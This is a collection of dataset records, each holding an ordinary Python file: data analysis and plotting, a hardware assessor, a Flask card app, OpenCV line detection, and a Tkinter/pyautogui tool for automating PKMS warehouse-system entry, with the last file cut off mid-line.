key, **arg(key, v))\n  return Obj(**vars(parser.parse_args()))\n\ndef main():\n  return discretize(\n      classify(\n          table(\n              u.csv(THE.path2data + \"/\" + THE.data))))\n\n#####################################################\ndef _main():\n  u.seed(THE.seed)\n  t = main()\n  for k, rules in learn(counts(t)).items():\n    print(\"\")\n    print(k, \"if\")\n    print(\"    N  \" + ' '.join([f\"  {col.txt:5}\"\n                                for col in t.y.values()]))\n    for rule in rules:\n      ys = {}\n      some = u.selects(t, rule)\n      for row in some:\n        for col in t.y.values():\n          ys[col.txt] = ys.get(col.txt, []) + [row.cells[col.pos]]\n      print(\n          f\"{len(some):5}  \" + ' '.join([f\"{u.mu(ys[k]):7.2f}\"\n                                         for k in ys]), end=\"   \")\n      print(u.showRule(rule))\n\n\n#######################################################\nif __name__ == \"__main__\":\n  THE = _args(\"duo4\", __doc__.split(\"\\n\\n\")[0], THE)\n  _main()\n","sub_path":"bnbad2/duo5.py","file_name":"duo5.py","file_ext":"py","file_size_in_byte":16827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"607007596","text":"from __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nfrom os import path\n\nsys.path.append(path.dirname(path.dirname(path.abspath(__file__))) + '/utils/')\n\nfrom algorithm_utils import TransferData, ExaremeError\n\nclass DescrStatsLocal_DT(TransferData):\n    def __init__(self, transf_var_list):\n        self.transf_var_list = transf_var_list\n        self.num_vars = len(transf_var_list)\n\n    def get_data(self):\n        return self.transf_var_list, self.num_vars\n\n    def __add__(self, other):\n        sum_transf_var_list = []\n        for i in xrange(self.num_vars):\n            if self.transf_var_list[i].is_categorical:\n               new_transf_var = TransferVariable(\n                   self.transf_var_list[i].is_categorical,\n                   self.transf_var_list[i].var_name,\n                   self.transf_var_list[i].count + other.transf_var_list[i].count,\n                   {cat: self.transf_var_list[i].freqs[cat] + other.transf_var_list[i].freqs[cat] for cat in self.transf_var_list[i].freqs.keys()},\n               )\n               sum_transf_var_list.append(new_transf_var)\n            else:\n                new_transf_var = TransferVariable(\n                    self.transf_var_list[i].is_categorical,\n                    self.transf_var_list[i].var_name,\n                    self.transf_var_list[i].nn + other.transf_var_list[i].nn,\n                    self.transf_var_list[i].sx + other.transf_var_list[i].sx,\n                    self.transf_var_list[i].sxx + other.transf_var_list[i].sxx,\n                    min(self.transf_var_list[i].xmin, other.transf_var_list[i].xmin),\n                    max(self.transf_var_list[i].xmax, other.transf_var_list[i].xmax)\n                )\n                sum_transf_var_list.append(new_transf_var)\n        return DescrStatsLocal_DT(sum_transf_var_list)\n\n\nclass TransferVariable(object):\n    def __init__(self, *args):\n        self.is_categorical = args[0]\n        self.var_name = args[1]\n        if self.is_categorical:\n            self.count = args[2]\n            self.freqs = args[3]\n        else:\n            self.nn = args[2]\n            self.sx = args[3]\n            self.sxx = args[4]\n            self.xmin = args[5]\n            self.xmax = args[6]\n\n    def get_data(self):\n        if self.is_categorical:\n            return self.is_categorical, self.var_name, self.count, self.freqs\n        else:\n            return self.is_categorical, self.var_name, self.nn, self.sx, self.sxx, self.xmin, self.xmax\n\n\nclass Variable(object):\n    def __init__(self, var_name, x, is_categorical, enums):\n        self.var_name = var_name\n        self.x = x\n        self.is_categorical= is_categorical\n        self.enums = enums\n\n    def get_data(self):\n        return self.var_name, self.x, self.is_categorical, self.enums\n\n\n# class DescrStatsLocal_DT_tmp(TransferData):\n#     def __init__(self, *args):\n#         self.is_categorical = args[0]\n#         self.var_name = args[1]\n#         if self.is_categorical:\n#             self.count = args[2]\n#             self.freqs = args[3]\n#         else:\n#             self.nn = args[2]\n#             self.sx = args[3]\n#             self.sxx = args[4]\n#             self.xmin = args[5]\n#             self.xmax = args[6]\n#\n#     def get_data(self):\n#         if self.is_categorical:\n#             return self.is_categorical, self.var_name, self.count, self.freqs\n#         else:\n#             return self.is_categorical, self.var_name, self.nn, self.sx, self.sxx, self.xmin, self.xmax\n#\n#     def __add__(self, other):\n#         if self.is_categorical:\n#             assert self.freqs.keys() == other.freqs.keys(), 'Local categories do not agree.'\n#             return DescrStatsLocal_DT(\n#                     self.is_categorical,\n#                     self.var_name,\n#                     self.count + other.count,\n#                     {cat: self.freqs[cat] + other.freqs[cat] for cat in self.freqs.keys()},\n#             )\n#         else:\n#             return DescrStatsLocal_DT(\n#                     self.is_categorical,\n#                     self.var_name,\n#                     self.nn + other.nn,\n#                     self.sx + other.sx,\n#                     self.sxx + other.sxx,\n#                     min(self.xmin, other.xmin),\n#                     max(self.xmax, other.xmax),\n#             )\n","sub_path":"Exareme-Docker/src/mip-algorithms/DESCRIPTIVE_STATS/lib.py","file_name":"lib.py","file_ext":"py","file_size_in_byte":4364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"593515662","text":"import numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import auc\nimport ipdb\n\ndef load_lstm_vae_csv(skill = None, ax = None): \n    csv_path = \"./lstm_vae.csv\" \n    csv = pd.read_csv(csv_path)\n\n    skills = [3, 4, 5, 7, 8, 9]\n    no = skills.index(skill) \n    \n    _name = csv.iloc[no]['algorithm']\n    _tpr = csv.iloc[no]['tpr'] # str with \\n\n    tpr_str = _tpr.replace('\\n','') # remove \\n \n    tpr = np.fromstring(tpr_str.strip(']['), dtype=float, sep=' ') # str2float\n\n    _fpr = csv.iloc[no]['fpr']            \n    fpr_str = _fpr.replace('\\n','') # remove \\n       \n    fpr = np.fromstring(fpr_str.strip(']['), dtype=float, sep=' ') # str2float\n\n    auroc = auc(fpr, tpr)\n    ax.plot(fpr, tpr, label = _name + \": AUC = %.3f\"%auroc, lw=2)\n    \ndef load_csv(skill = None, ax = None):\n    csv_path = \"./tpr_fpr_skill_%s.csv\"%skill \n    csv = pd.read_csv(csv_path)\n    for i in range(csv.shape[0]):\n        _name = csv.iloc[i]['algorithm']\n        if _name == \"LSTM-AD\":\n            _name = 'sLSTM'\n        _tpr = csv.iloc[i]['tpr'] # str with \\n\n        tpr_str = _tpr.replace('\\n','') # remove \\n \n        tpr = np.fromstring(tpr_str.strip(']['), dtype=float, sep=' ') # str2float\n        _fpr = csv.iloc[i]['fpr']            \n        fpr_str = _fpr.replace('\\n','') # remove \\n       \n        fpr = np.fromstring(fpr_str.strip(']['), dtype=float, sep=' ') # str2float\n        auroc = auc(fpr, tpr)\n        ax.plot(fpr, tpr, label = _name + \": AUC = %.3f\"%auroc, lw=2)\n        if i == 2: # add lstm_vae\n            load_lstm_vae_csv(skill = skill, ax = ax)\n        \n    ax.set_title(\"The ROC curve of skill %s\" %skill)\n    ax.plot([0, 1], [0, 1], color='navy', lw=2, linestyle='--')\n    ax.set_xlim([0.0, 1.0])\n    ax.set_ylim([0.0, 1.05])\n    ax.set_xlabel('False Positive Rate')\n    ax.set_ylabel('True Positive Rate')\n    ax.set_aspect('equal', adjustable='box')\n    ax.legend(loc='lower right')\n        \n\nif __name__==\"__main__\":\n    skills = [3, 4, 5, 7, 8, 9]\n    fig, axarr = plt.subplots(nrows=2, ncols=3, figsize=(16,9))\n    axarr = np.atleast_1d(axarr).flatten().tolist()\n    for no, skill in enumerate(skills):\n        load_csv(skill = skill, ax = axarr[no])\n    plt.suptitle(\"The ROC curves of anomaly detection based on six deep-learning models, \\n which tested on the modalities [nf, nt, nl, na, sl, sr] and anomaly bias [0, 2] for six movements, respectively.\" )\n    fig.savefig('roc.png', format='png')\n    fig.savefig('roc.eps', format='eps')    \n    plt.show()\n","sub_path":"plot_tpr_fpr.py","file_name":"plot_tpr_fpr.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"519676330","text":"from urllib.request import urlopen\nimport json\nimport textwrap\n\nurl = \"https://www.themealdb.com/api/json/v1/1/random.php\"\nwith urlopen(url) as r:\n    data = json.loads(r.read().decode('utf-8'))['meals'][0]\nprint(data['strMeal'].center(100))\nprint(f\"{data['strCategory'].center(50)}{data['strArea'].center(50)}\\n\")\n\nfor i in range(1,21):\n    if data[f\"strIngredient{i}\"] != '':\n        print(f'{data[\"strMeasure\"+str(i)].strip()} {data[\"strIngredient\"+str(i)]}')\n    else:\n        break\nprint()\nprint(\"\\n\".join(textwrap.wrap(data['strInstructions'], 100)))","sub_path":"05-modules/web/recipes/recipes.py","file_name":"recipes.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"264036475","text":"numero = int(input('ingresa un numero: '))\n\ndef Fibonacci(n=1, a=0, b=1):\n  print(a)\n  for i in range(n-1):\n    c = a + b\n    print(c)\n    b = a \n    a = c\n\nFibonacci(numero)\n","sub_path":"UCEMA/12/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"146552774","text":"import re\nimport math\nimport yaml\n\n\ndef round_(x, d=0):\n    p = 10 ** d\n    return float(math.floor((x * p) + math.copysign(0.5, x)))/p\n\n\ndef extract(dictionary, key_sequence):\n    key_sequence.reverse()\n    while dictionary and key_sequence:\n        dictionary = dictionary.get(key_sequence.pop())\n    return dictionary\n\n\nclass Assessor(object):\n    info = None\n    avg = None\n\n    def __init__(self, data):\n        self.data = data\n        if self.data:\n            self.assess()\n\n    def __str__(self):\n        return yaml.dump(self.info, default_flow_style=False).strip()\n\n    @staticmethod\n    def any2int(value):\n        if isinstance(value, int):\n            return value\n        elif value is None:\n            return 0\n        elif isinstance(value, str):\n            v = re.sub(r'[^0-9]', '', value)\n            if v.isdigit():\n                return int(v)\n        elif isinstance(value, float):\n            return int(value)\n        return 0\n\n    @staticmethod\n    def grade_int(value, _min, _max, scale=10):\n        value = Assessor.any2int(value)\n        return min(scale, max(1, int(1 + round_((value - _min) * (scale - 1.) / (_max - _min)+.001))))\n\n    @staticmethod\n    def grade_str(value, good=None, bad=None):\n        if bad and value in bad:\n            return 1\n        if good and value in good:\n            return 10\n        return 2\n\n    @staticmethod\n    def grade_fact(value, mode=False):\n        return int((value is None) != mode) * 10 or 1\n\n    def grade_list(self, value, minimum, maxmimum, scale=10):\n        return self.grade_int(len(value), minimum, maxmimum, scale)\n\n    def assess_netdev(self, netdev):\n        netdevinfo = extract(self.data, ['net', netdev])\n        queues = sum(\n            len(extract(netdevinfo, ['queues', x])) for x in ('rx', 'rxtx'))\n        buffers = netdevinfo.get('buffers') or {}\n        return {\n            'queues': self.grade_int(queues, 2, 8),\n            'driver': {\n                'mlx5_core': 10,                        # 7500 mbit/s\n                'mlx4_en': 9,                           # 6500 mbit/s\n                'i40e': 8,                              # 6000 mbit/s\n                'ixgbe': 7,                             # 4000 mbit/s\n                'igb': 6,                               # 400 mbit/s\n                'bnx2x': 4,                             # 100 mbit/s\n                'e1000e': 3,                            # 80 mbit/s\n                'e1000': 3,                             # 50 mbit/s\n                'r8169': 1, 'ATL1E': 1, '8139too': 1,   # real trash, you should never use it\n            }.get(netdevinfo.get('driver').get('driver'), 2),\n            'buffers': {\n                'cur': self.grade_int(buffers.get('cur'), 256, 4096),\n                'max': self.grade_int(buffers.get('max'), 256, 4096),\n            },\n        }\n\n    def assess_netdevs(self):\n        netdevs = self.data.get('net')\n        if netdevs:\n            return dict((netdev, self.assess_netdev(netdev)) for netdev in netdevs)\n\n    def assess_cpu(self):\n        cpuinfo = extract(self.data, ['cpu', 'info'])\n        if cpuinfo:\n            return {\n                'CPU MHz': self.grade_int(cpuinfo.get('CPU MHz'), 2000, 4000),\n                'BogoMIPS': self.grade_int(cpuinfo.get('BogoMIPS'), 4000, 8000),\n                'CPU(s)': self.grade_int(cpuinfo.get('CPU(s)'), 2, 32),\n                'Core(s) per socket': self.grade_int(cpuinfo.get('Core(s) per socket'), 1, 2),\n                'Socket(s)': self.grade_int(cpuinfo.get('Socket(s)'), 1, 2),\n                'Thread(s) per core': self.grade_int(cpuinfo.get('Thread(s) per core'), 2, 1),\n                'L3 cache': self.grade_int(cpuinfo.get('L3 cache'), 1000, 30000),\n                'Vendor ID': self.grade_str(cpuinfo.get('Vendor ID'), good=['GenuineIntel']),\n            }\n\n    def assess_memory(self):\n        meminfo = self.data.get('memory')\n        if meminfo:\n            return {\n                'MemTotal': self.grade_int(meminfo.get('MemTotal'), 2 * (1024 ** 2), 16 * (1024 ** 2)),\n                'SwapTotal': self.grade_int(meminfo.get('SwapTotal'), 512 * 1024, 4 * (1024 ** 2)),\n            }\n\n    def assess_system(self):\n        cpuinfo = extract(self.data, ['cpu', 'info'])\n        if cpuinfo:\n            return {\n                'Hypervisor vendor': self.grade_fact(cpuinfo.get('Hypervisor vendor'), False),\n                'Virtualization type': self.grade_fact(cpuinfo.get('Hypervisor vendor'), False),\n            }\n\n    def assess_disk(self, disk):\n        diskinfo = extract(self.data, ['disk', disk])\n        return {\n            'type': self.grade_str(diskinfo.get('type'), ['SDD'], ['HDD']),\n            # 50Gb - good, 1Tb - good enough\n            'size': self.grade_int(diskinfo.get('size'), 50 * (1000 ** 3), 1000 ** 4),\n        }\n\n    def assess_disks(self):\n        disks = self.data.get('disk')\n        if disks:\n            return dict((disk, self.assess_disk(disk)) for disk in disks)\n\n    def assess(self):\n        self.info = {\n            'net': self.assess_netdevs(),\n            'cpu': self.assess_cpu(),\n            'memory': self.assess_memory(),\n            'system': self.assess_system(),\n            'disk': self.assess_disks(),\n        }\n","sub_path":"netutils_linux_hardware/assessor.py","file_name":"assessor.py","file_ext":"py","file_size_in_byte":5231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"547411247","text":"\nimport subprocess\nimport os\nimport threading\n\nclass Events:\n    def __init__(self, core):\n        self.core = core\n        self.process_events = True\n\n        # init dbus handler\n        self.core.add_event_callback(\"Events\", \"exit\", self._exit_event)\n        dbus_script_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'dbus_handler.py')\n        self.proc = subprocess.Popen(['python', dbus_script_path],stdout=subprocess.PIPE)\n        self.stdin_event_thread = threading.Thread(target=self._dbus_handler, daemon=True).start()\n\n    def _exit_event(self, event):\n        self.process_events = False\n        self.proc.kill()\n\n    def _dbus_handler(self):\n        for line in iter(self.proc.stdout.readline, ''):\n            if not self.process_events:\n                break\n            if len(line) == 0:\n                print(\"dbus_handler.py streamed empty line. exiting...\")\n                break\n            event = line.decode(\"utf-8\").strip()\n            print(\"New event:\", event)\n            self.core.core_event_queue.put({\"name\": event})\n            if event == \"exit\":\n                break","sub_path":"modules/Core/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"449216141","text":"from flask import Flask, render_template, jsonify, request\n\napp = Flask(__name__)\n\nCARD_DATA = [\n    {\n        \"name\": \"Balloonicorn\",\n        \"skill\": \"video games\",\n        \"imgUrl\": \"/static/img/balloonicorn.jpg\",\n        \"cardId\": 1,\n    },\n    {\n        \"name\": \"Float\",\n        \"skill\": \"baking pretzels\",\n        \"imgUrl\": \"/static/img/float.jpg\",\n        \"cardId\": 2,\n    },\n    {\n        \"name\": \"Llambda\",\n        \"skill\": \"knitting scarves\",\n        \"imgUrl\": \"/static/img/llambda.jpg\",\n        \"cardId\": 3,\n    },\n    {\n        \"name\": \"Off-By-One\",\n        \"skill\": \"climbing mountains\",\n        \"imgUrl\": \"/static/img/off-by-one.jpeg\",\n        \"cardId\": 4,\n    },\n    {\n        \"name\": \"Seed.py\",\n        \"skill\": \"making curry dishes\",\n        \"imgUrl\": \"/static/img/seedpy.jpeg\",\n        \"cardId\": 5,\n    },\n    {\n        \"name\": \"Polymorphism\",\n        \"skill\": \"costumes\",\n        \"imgUrl\": \"/static/img/polymorphism.jpeg\",\n        \"cardId\": 6,\n    },\n    {\n        \"name\": \"Short Stack Overflow\",\n        \"skill\": \"ocean animal trivia\",\n        \"imgUrl\": \"/static/img/shortstack-overflow.jpeg\",\n        \"cardId\": 7,\n    },\n    {\n        \"name\": \"Merge\",\n        \"skill\": \"bullet journaling\",\n        \"imgUrl\": \"/static/img/merge.png\",\n        \"cardId\": 8,\n    },\n]\n\n\n@app.route(\"/\")\ndef show_homepage():\n    \"\"\"Show the application's homepage.\"\"\"\n\n    return render_template(\"homepage.html\")\n\n\n@app.route(\"/cards\")\ndef show_cards():\n    \"\"\"Show all trading cards.\"\"\"\n\n    return render_template(\"cards.html\")\n\n\n@app.route(\"/cards.json\")\ndef get_cards_json():\n    \"\"\"Return a JSON response with all cards.\"\"\"\n\n    return jsonify({\"cards\": CARD_DATA})\n\n\n@app.route(\"/add-card\", methods=[\"POST\"])\ndef add_card():\n    \"\"\"Add a new card to the DB.\"\"\"\n    name = request.get_json().get(\"name\")\n    skill = request.get_json().get(\"skill\")\n\n    new_card = {\n        \"name\": name,\n        \"skill\": skill,\n        \"imgUrl\": \"/static/img/placeholder.png\",\n        \"cardId\": len(CARD_DATA) + 1,\n    }\n    CARD_DATA.append(new_card)\n    return jsonify({\"success\": True, \"cardAdded\": new_card})\n\n\n@app.route(\"/cards-jquery\")\ndef show_cards_jquery():\n    return render_template(\"cards-jquery.html\")\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True, host=\"0.0.0.0\")\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"131729529","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 27 15:11:24 2016\n\n@author: Lucie\n\"\"\"\n\nimport cv2\nimport numpy as np\nimport math\n\ndef rectangles(name):\n    im = cv2.imread(name)\n    imgray = cv2.cvtColor(im,cv2.COLOR_BGR2GRAY)\n\n    #seuillage\n    th3 = cv2.adaptiveThreshold(imgray,255,cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY,11,2)\n\n    #contours\n    cont, hierarchy = cv2.findContours(th3,cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\n    cv2.drawContours(th3, cont, -1, (255,0,0), 1)\n    #cv2.imshow('contours',th3)\n    \n    contours = sorted(cont, key = cv2.contourArea, reverse = True)[:10]\n    cv2.drawContours(im, contours, -1, (255,0,0), 1)\n\n    i=0\n    rect=[]\n\n    for c in contours:\n        i=i+1\n        \n        #on recupere les dimension du plus grand rectangle (dimensions de l'image)\n        if i==1:\n            x,y,w,h = cv2.boundingRect(c)\n            cv2.rectangle(im,(x,y),(x+w,y+h),(0,255,0),2)\n            height_img = h\n            width_img = w\n            \n        #on ajoute tous les autres a notre liste\n        else :\n            x,y,w,h = cv2.boundingRect(c)\n            cv2.rectangle(im,(x,y),(x+w,y+h),(0,255,0),2)\n            rect.append([x, y, w, h])\n\n    cv2.imshow(\"Rectangles\", im)\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\n    \n    return [height_img, width_img, rect]\n\n\n\n\ndef getKey(item):\n    return item[0]\n\ndef points(name):\n    \n    img = cv2.imread(name)\n    \n    gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n\n    #détection des contours\n    edges = cv2.Canny(gray ,50, 150, apertureSize = 3)\n\n    #détection des lignes\n    minLineLength = 100\n    maxLineGap = 10\n    lines = cv2.HoughLinesP(edges, 1, np.pi/180, 100, minLineLength, maxLineGap)\n\n    #matrice contenant les segments de fuites\n    matrix=[]\n\n    print(len(lines))\n    for i in range(len(lines)):\n        #on filtre pour ne garder que les lignes non verticales ou horizontales\n        for x1, y1, x2, y2 in lines[i] :\n\n            dx = x2 - x1\n            dy = y2 - y1\n\n            print(dx,\" \", dy)\n            #élimine les droites verticales et horizontale\n            if dx != 0 and dy != 0 :\n\n                a = float(dy) / float(dx)\n                b = y1 - (a*x1)\n\n                alpha = math.degrees(math.atan(math.fabs(a)))\n                beta = math.degrees(math.atan(math.fabs(1/a)))\n\n                if alpha > 4 and beta > 4 :\n                    cv2.line(img, (x1,y1), (x2,y2), (0,255,0), 2)\n\n                    AB = math.sqrt(math.pow(dx, 2) + math.pow(dy, 2))\n                    matrix.append([AB, a, b])\n\n    print(matrix)\n    #on trie la matrice pour avoir les t-uplet avec les plus long segment en premier\n    sorted(matrix, key=getKey, reverse=True)\n    \n    AB1, a1, b1 = matrix.pop()\n    \n    #liste contenant les points de fuites\n    points=[]\n\n    for [AB, a, b] in matrix :\n    \n        if (a1>0 and a<0) or (a1<0 and a>0) :\n            da = math.fabs( a1 - a )\n            db = math.fabs( b1 - b )\n    \n            #condition sur da permet de ne pas prendre en compte des droites parrallèles\n            if da > 0.1 and db != 0:\n        \n                x = int( float(db) / float(da) )\n                y = int( a1*x + b1 )\n        \n                cv2.line(img, (x, y), (x, y), (255, 0, 0), 5)\n            \n                points.append([x, y])\n            \n\n    #cv2.imwrite('houghlines5.jpg',img)\n    cv2.imshow('Canny Hough',img)\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\n    \n    return points\n  \n  \ndef goodOne(rect, points):\n    \n    height_rect, width_rect = 0, 0\n    find = 0\n    \n    #on prend le premier point\n    for (xp,yp) in points :\n        \n        if find == 0 :\n            \n            #on regarde si il est contenu dans un des rectangle\n            for (x, y, w, h) in rect :\n            \n                #si oui on renvoie les dimensions de ce rectangle\n                if x<xp<x+w and y<yp<y+h :\n                \n                    height_rect = h\n                    width_rect = w\n                \n                    #print height_rect, width_rect\n                \n                    find = 1\n                \n                    break\n    \n    return height_rect, width_rect\n    \n    \n\npoints(\"C:/Users/Alexandre/Desktop/Codes/2019PANDROIDE2/Code/ressources/inputImages/imgTest2.jpg\")\n#points('corridor-1.jpg')","sub_path":"app/explo/python/lignesFuites.py","file_name":"lignesFuites.py","file_ext":"py","file_size_in_byte":4290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"386520037","text":"import tkinter as tk\nfrom tkinter import filedialog\nfrom tkinter import messagebox\nimport pandas as pd \nimport os \nimport pyautogui\nimport time \nfrom pathlib import Path \nimport copy\n\n\nclass MainApplication:\n    \"\"\" \n    This object creates a tkinter graphical\n    user interface that allows the user to\n    automate the following processes:\n    \n    1: Reprint \n    2. Carton Manifest \n    3. Salesman Code Maintenance \n    \"\"\"\n\n    def __init__(self, root):\n        self.root = root\n        self.root.title(\"PKMS Automation Tool\")\n        \n        # Start at main menu.\n        self.__main_menu()\n\n\n    def __main_menu(self):\n        \"\"\" \n        This is the application main menu. When the user starts OR\n        returns to the main menu, all default values are\n        reset.\n\n        Here, the user selects either the Reprint or \n        Carton Manifest Macro.\n        \"\"\"\n\n        # Data extracted from file.\n        self.data = None \n\n        # User-selected macro choice.\n        self.macro = None\n\n        # Reactive variable to display selected file.\n        self.uploaded_file = tk.StringVar()\n        self.uploaded_file.set(\"None\")\n\n        # Number of carton entries to enter.\n        self.carton_entry_count = 30\n\n        # Range selection for data. \n        self.start_index = 0\n        self.end_index = 0\n        self.previous_start_index = 0\n        self.previous_end_index = 0\n\n        # Display remaining carton count to user.\n        self.remaining_cartons = 0\n\n        # Keep up with the previous page the user was on.\n        # Used for carton manifest \"Next\" and \"Retry\" functionality.\n        self.previous_page = None\n\n        self.__set_geometry(width = 300, height = 300)\n        tk.Label(self.root, text = \"Select Macro\", font = (\"Arial\", 16, \"bold\")).place(x = 80, y = 10)\n\n        # Reprint Selection\n        reprint_button = tk.Button(self.root, text = \"Reprint\", command = lambda: self.__config_reprint())\n        reprint_button.config(height = 4, width = 9, font = (\"Arial\", 16))\n        reprint_button.place(x = 20, y = 60)\n        \n        # Carton Manifest Selection\n        carton_manifest_button = tk.Button(self.root, text = \"Carton\\nManifest\", command = lambda: self.__config_carton_manifest())\n        carton_manifest_button.config(height = 4, width = 9, font = (\"Arial\", 16))\n        carton_manifest_button.place(x = 155, y = 60)\n\n        # Salesman Code Maintenance\n        salesman_code_button = tk.Button(self.root, text = \"Salesman Code\\n Maintenance\", command = lambda: self.__config_salesman_code())\n        salesman_code_button.config(height = 3, width = 20, font = (\"Arial\", 16))\n        salesman_code_button.place(x = 25, y = 190)\n\n\n    \"\"\" Clear the window frame, and set the frame dimensions \"\"\"\n    def __set_geometry(self, width, height, resizable=False):\n        for widget in self.root.winfo_children():\n            widget.destroy()\n\n        self.root.geometry(\"{}x{}\".format(width, height))\n        self.root.resizable(resizable, resizable)\n\n\n    \"\"\" Verify user wants to return to main menu \"\"\"\n    def __confirm_main_menu(self):\n        choice = messagebox.askokcancel(\"Confirm\", \"Are you sure you want to return to the main menu?\")\n        if choice:\n            self.__main_menu()  \n\n\n    \"\"\" Configuration settings for the reprint macro \"\"\"\n    def __config_reprint(self):\n\n        self.macro = \"reprint\"\n        self.__set_geometry(width = 400, height = 380, resizable = True)\n\n        label = tk.Label(self.root, text = \"Reprint Macro Instructions\")\n        label.config(font = (\"Arial\", 18, \"bold\"))\n        label.place(x = 60, y = 10)\n\n        label = tk.Label(self.root, text = '-'*65)\n        label.config(font = (\"Arial\", 16))\n        label.place(x = 0, y = 45)\n\n        label = tk.Label(self.root, text = \"1. Click the \\\"Select File\\\" button.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 25, y = 70)\n\n        label = tk.Label(self.root, text = \"2. Select data file.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 25, y = 100)\n\n        label = tk.Label(self.root, text = \"a. This file must contain the following columns: \")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 40, y = 130)\n\n        label = tk.Label(self.root, text = \"i. CDSTYL\")\n        label.config(font = (\"Arial\", 12))\n\n        label.place(x = 55, y = 160)\n\n        label = tk.Label(self.root, text = \"ii. CHCASN\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 55, y = 190)\n\n        label = tk.Label(self.root, text = \"3. Click the \\\"Submit\\\" button.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 25, y = 220)\n\n        label = tk.Label(self.root, text = \"Selected File: \")\n        label.config(font = (\"Arial\", 12, \"bold\"))\n        label.place(x = 25, y = 270)\n\n        label = tk.Label(self.root, textvariable = self.uploaded_file)\n        label.config(font = (\"Arial\", 12, \"italic\"))\n        label.place(x = 140, y = 270)\n\n        button = tk.Button(self.root, text = \"Select\\nFile\", command = lambda: self.__upload())\n        button.config(height = 3, width = 10, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 20, y = 300)\n\n        button = tk.Button(self.root, text = \"Submit\", command = lambda: self.__verify_reprint())\n        button.config(height = 3, width = 10, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 145, y = 300)\n\n        button = tk.Button(self.root, text = \"Return to\\nMain Menu\", command = lambda: self.__confirm_main_menu())\n        button.config(height = 3, width = 10, font = (\"Arial\", 12, \"bold\"))\n        button.place(x = 270, y = 300)\n\n\n    \"\"\" Verify the requirements for the reprint macro. \"\"\" \n    def __verify_reprint(self):\n\n        if self.data is None:\n            self.__error(message = \"Please select a file to proceed.\")\n            return()\n\n        columns = self.data.columns.values.tolist()\n        \n        if \"CDSTYL\" not in columns or \"CHCASN\" not in columns:\n            self.__error(\"You must provide a valid file that contains the following columns: CDSTYL and CHCASN\")\n            return()\n        \n        workbook = self.data.sort_values(\"CDSTYL\")\n        self.data = workbook[\"CHCASN\"].values\n        self.__set_position_instructions()  \n\n\n    \"\"\" Upload the data file. \"\"\"\n    def __upload(self):\n\n        title = \"Select your file.\"\n        filetypes = ((\"Legacy Excel Worksheets\", \"*.xls\"), (\"Excel Workbook\", \"*.xlsx\"),          \n            (\"Excel Macro-enabled Workbook\", \"*.xlsm\"), (\"Comma Separated Values\", \"*.csv\"))\n\n        # Set the initial starting directory\n        home = str(Path.home())\n        directories = os.listdir(home)\n\n        if \"Desktop\" in directories: \n            initialdir = os.path.join(home, \"Desktop\")\n\n        elif \"Downloads\" in directories:\n            initialdir = os.path.join(home, \"Downloads\")\n        \n        else:\n            initialdir = home \n    \n        filename = filedialog.askopenfilename(initialdir=initialdir, title=title, filetypes=filetypes)\n        \n        if filename:\n            extension = filename.split('.')[-1].lower()\n\n            # Handler for csv files\n            if extension == \"csv\":\n                self.data = pd.read_csv(filename)\n                self.remaining_cartons = len(self.data)\n                self.uploaded_file.set(os.path.basename(filename))\n\n            # Handler for Excel-specific files\n            elif extension in [\"xlsx\", \"xls\", \"xlsm\"]:\n                self.data = pd.read_excel(filename)\n                self.remaining_cartons = len(self.data)\n                self.uploaded_file.set(os.path.basename(filename))\n\n            else:\n                self.__error(message = \"Please select a valid file.\")\n\n\n    \"\"\" Show users how to set the macro position. \"\"\"\n    def __set_position_instructions(self):\n\n        self.__set_geometry(width = 650, height = 350, resizable = True)\n\n        label = tk.Label(self.root, text = \"Macro Placement Instructions\")\n        label.config(font = (\"Arial\", 18, \"bold\"))\n        label.place(x = 160, y = 10)\n\n        label = tk.Label(self.root, text = '-'*150)\n        label.config(font = (\"Arial\", 16))\n        label.place(x = 0, y = 40)\n\n        label = tk.Label(self.root, text = \"1. Click the \\\"Set Position\\\" button.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 25, y = 70)\n\n        label = tk.Label(self.root, text = \"2. Move this application next to the PKMS system.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 25, y = 100)\n\n        label = tk.Label(self.root, text = \"a. Essentially, place this on the PKMS system.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x = 55, y = 130)\n\n        label = tk.Label(self.root, text = \"3. Click the direction where the mouse cursor should go to click into the PKMS system.\")\n        label.config(font = (\"Arial\", 12))\n        label.place(x 